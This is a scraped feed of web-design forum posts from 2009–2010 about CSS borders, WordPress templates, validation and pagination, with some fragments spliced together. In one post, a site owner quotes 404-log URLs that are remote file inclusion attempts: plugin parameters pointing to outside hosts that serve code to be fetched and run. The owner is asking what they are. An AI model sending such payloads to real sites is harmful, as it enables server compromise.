But am however having one slight difficulty, I need the border width to be 0.5px width can this be done with pure css coding? I know of the 0.5em, solid etc, but that does not give half pixel width as far as i can see? http://www.opendesigns.org/forum/topic/3286#post-32807 Thu, 08 Jul 2010 14:28:24 +0000 tihomir_wwf 32807@http://www.opendesigns.org/forum/ <p>Hi friends,</p> <p>I decided to create a website for parrot birds.

The template is a WP template.<br /> The problem is, it must be altered in Adobe photoshop, fine I went and downloaded hte trial software.<br /> I opened the template folder to find these files inside:</p> <p>screenshots<br /> sources ( with number attached as well )<br /> theme<br /> an index html file wh ich is blank except for this text - this is a technical file, please refer to documentation ( none given ) for location path of my themes index file.<br /> also included is an info and readme doc.</p> <p>I am having to alter the images I wanted to change inside Photoshop ( CS5) and they at templatemonster keep telling me to just alter the images inside photoshop, save with the option - save for web adn that that will save the template completely&gt; I do this, without altering the images inside the image folders... yet when i upload the file to the wordpress blog... I get the orginal skin with none of my altered images.<br /> also, they keep telling me to upload the entire folder, which screws up the enteir blog site and wont work ( huge error codes etc )<br /> I hope that is enough to help explain this problem... I just want to know, is altering the PSD file enough to change the html AND do then upload ALL the files and folders that came ( listed above ) or do I just upload the template folder?</p> <p>:( I am really sorry if this is not the correct place for this, if that is the case please just let me know and I will move it with my apologies. I am just so frustrated I could cry. </p> http://www.opendesigns.org/forum/topic/3318#post-32870 Thu, 26 Aug 2010 04:01:14 +0000 kawdoco 32870@http://www.opendesigns.org/forum/ <p>dear all,</p> <p>every time i got an error \"cannot detect w3c validation\" . why is that, i upload w3c validate designs , please help avoid this error msg.</p> <p>thanks </p> http://www.opendesigns.org/forum/topic/3311#post-32852 Sat, 14 Aug 2010 02:02:47 +0000 speck 32852@http://www.opendesigns.org/forum/ <p>I\'m trying to design my church bulletin.

So all of a sudden one day template fusion was gone, the next day it was advertisements... haha.</p> <p>So now I'm storing all my free templates on my personal portfolio website, <a href="http://sean-pollock.com">sean-pollock.com</a>. I updated all of the templates on OD, they will be approved and visible with the proper copyright links soon! </p> <p>On the official website ( <a href="http://sean-pollock.com">sean-pollock.com</a> ), I will be releasing the templates once per week so I can have some consistent content. </p> <p>If anyone wants to help me get back on track, please tweet my site, link it, blog it. anything!

In the near future we plan to add free HTML templates to our repertoire as the two seem to go hand-in-hand. </p> <p>We would more than welcome any old or existing OSWD / OWD / OD veterans to <a href="http://www.empirethemes.com/forums/" title="Empire Themes Forums - Discuss Free WordPress themes">our forums</a>. Your input would be greatly appreciated regarding the setup of the HTML template section of the site (which we hope some of you would like to contribute to). We were thinking to divide away from the rules of old and allow things like AJAX and large images to the templates... it'd be great to hear <a href="http://empirethemes.com/forums/topic.php?id=5" title="Empire Themes">your thoughts</a>.</p> <p>You can also find us on <a href="http://twitter.com/empirethemes/" title="Empire Themes Twitter">Twitter</a> if you're a fellow Twitterer!</p> <p>We look forward to seeing some of you there.</p> <p>Jay </p> http://www.opendesigns.org/forum/topic/2988#post-32178 Sat, 14 Nov 2009 14:31:21 +0000 ricardo 32178@http://www.opendesigns.org/forum/ <p>Hi everyone</p> <p>Can anyone explain to me which is better...using text (that can be read by search engine bots) or using a image as a title for a wordpress blog?</p> <p>theres loads of nice templatyes but i remember reading that using images as a title is not advised as it cant be "scanned" by search engine bots</p> <p>Thanks </p> http://www.opendesigns.org/forum/topic/2954#post-32029 Sun, 20 Sep 2009 11:32:19 +0000 pseudoxiah 32029@http://www.opendesigns.org/forum/ <p>Hi guys.</p> <p>I am developing a magazine style theme for Wordpress. I want to display the latest 3 posts on the front page and on the upcoming pages the default number of posts.</p> <p>The problem is, it is displaying the first 3 posts on the front page and then on the next page it displays posts 11 to 20 or a 404 error if there are less then 11 posts published.</p> <p>Here's the code I'm using:</p> <pre><code>&lt;?php if(!is_paged()) { ?&gt; &lt;?php $page = (get_query_var(&#39;paged&#39;)) ? get_query_var(&#39;paged&#39;) : 1; query_posts(&quot;paged=$page&amp;posts_per_page=3&quot;); ?&gt; // The_Loop &lt;?php } ?&gt; &lt;?php else { ?&gt; &lt;?php $page = (get_query_var(&#39;paged&#39;)) ? get_query_var(&#39;paged&#39;) : 1; query_posts(&quot;paged=$page&quot;); ?&gt; // The_Loop &lt;?php } ?&gt;</code></pre> <p>So technically posts 4 to 10 are never displayed. Besides from that, the last page always displays a 404 error, although the link to it is displayed.</p> <p>Any ideas what i'm doing wrong? </p> http://www.opendesigns.org/forum/topic/2930#post-31971 Sat, 12 Sep 2009 15:12:36 +0000 4evrblu 31971@http://www.opendesigns.org/forum/ <p>I want to build a small site to advertise a local Apple Repair/Sales service center. It has been a while since I have visited Open Designs and I was hoping that some folks could suggest a hand full of themes amongst the hundreds that are available. I am looking for something that is professional/business like. </p> <p>Thank you in advance. </p> http://www.opendesigns.org/forum/topic/2918#post-31904 Sun, 30 Aug 2009 22:36:31 +0000 ricardo 31904@http://www.opendesigns.org/forum/ <p>hi everyone, just instaled a 404 error log plugin in wordpress to see which urls arent working, so far so good,,,but now i noticed some urls that i cant understand where they comong from or how people/bots are able to get that url</p> <p>Examples:</p> <p>/2008////wp-content/plugins/mygallery/myfunctions/mygallerybrowser.php?myPath=http://fuzewire.com/intranet/data/default/id?? </p> <p>////wp-content/plugins/mygallery/myfunctions/mygallerybrowser.php?myPath=http://fuzewire.com/intranet/data/default/id??</p> <p>/2008/05////wp-content/plugins/mygallery/myfunctions/mygallerybrowser.php?myPath=http://fuzewire.com/intranet/data/default/id?? </p> <p>/2009/06/video-guia-%E2%80%93-como-instalar-e-testar-o-wordpress-no-computador.html//plugins/wp-table/js/wptable-button.phpp?wpPATH=http://zipclube.com/tepos/idfx1.txt?? </p> <p>/2009//Archive.php?bkpwp_plugin_path=http://zipclube.com/tepos/idfx1.txt?? </p> <p>/2009/06//wp-content/plugins/mygallery/myfunctions/mygallerybrowser.php?myPath=http://labor.labcei.unimore.it/68049/guppy467/users/office1.jpg??? </p> <p>theres lots of them, what are they?</p> <p>Thanks </p> http://www.opendesigns.org/forum/topic/2870#post-31617 Thu, 02 Jul 2009 15:41:39 +0000 jelontok 31617@http://www.opendesigns.org/forum/ <p>just a question... </p> <p>do you still support ie6? </p> http://www.opendesigns.org/forum/topic/2899#post-31772 Sun, 09 Aug 2009 14:30:11 +0000 willwood 31772@http://www.opendesigns.org/forum/ <p>Hi,</p> <p>This is my first post on these forums, so please go easy on me! :D</p> <p>Was wondering if there is an easy way to import a DIV or CLASS container from another website to embed in my own website. I am only looking to import a specific container from a second website, so although I could use an iFrame or object-embed, the problem is it displays the entire page which I want to avoid.</p> <p>Are we looking at PHP or JQuery to achieve this sort of thing?</p> <p>The scenario is that I am setting up a new website to publish weather data on. This weather data is being uploaded from a home weather station and is presented in a standard HTML page. There is a 'weather summary' presented in a divider at the top. It is this I want to import into my page.</p> <p>I've searched the inter-webs and not been able to find much other than using an iFrame or object-embed. I don't know if anyone could be kind enough to point me towards some relevant information or indeed offer me any suggestions or examples of how this could best be done.</p> <p>Thanks in advance,<br /> Will. </p> http://www.opendesigns.org/forum/topic/2900#post-31774 Sun, 09 Aug 2009 17:45:48 +0000 spyka 31774@http://www.opendesigns.org/forum/ <p>So I uploaded two templates god knows how many weeks ago and today I was told, "<br /> Please check your designs for validation before you submit. 2 of your designs were<br /> not approved."</p> <p>However both my templates validate perfectly fine as XHTML strict 1.0 <a href="http://validator.w3.org/check?uri=http%3A%2F%2Fwww.spyka.net%2Forangeflex%2Fexamples.html" rel="nofollow">http://validator.w3.org/check?uri=http%3A%2F%2Fwww.spyka.net%2Forangeflex%2Fexamples.html</a></p> <p>and CSS 2.1 - <a href="http://jigsaw.w3.org/css-validator/validator?uri=http%3A%2F%2Fwww.spyka.net%2Forangeflex%2Fexamples.html" rel="nofollow">http://jigsaw.w3.org/css-validator/validator?uri=http%3A%2F%2Fwww.spyka.net%2Forangeflex%2Fexamples.html</a></p> <p>so what's going on here? </p> http://www.opendesigns.org/forum/topic/2895#post-31756 Wed, 05 Aug 2009 16:53:53 +0000 SquirrelNmoose 31756@http://www.opendesigns.org/forum/ <p>What are you guy using to let customers make changes to their site?<br /> If you build a static css/xhtml site what would you give your customer to allow them to edit it?</p> <p>I usually sell a maintenance agreement and my customers just call me to make changes, or I use Wordpress.
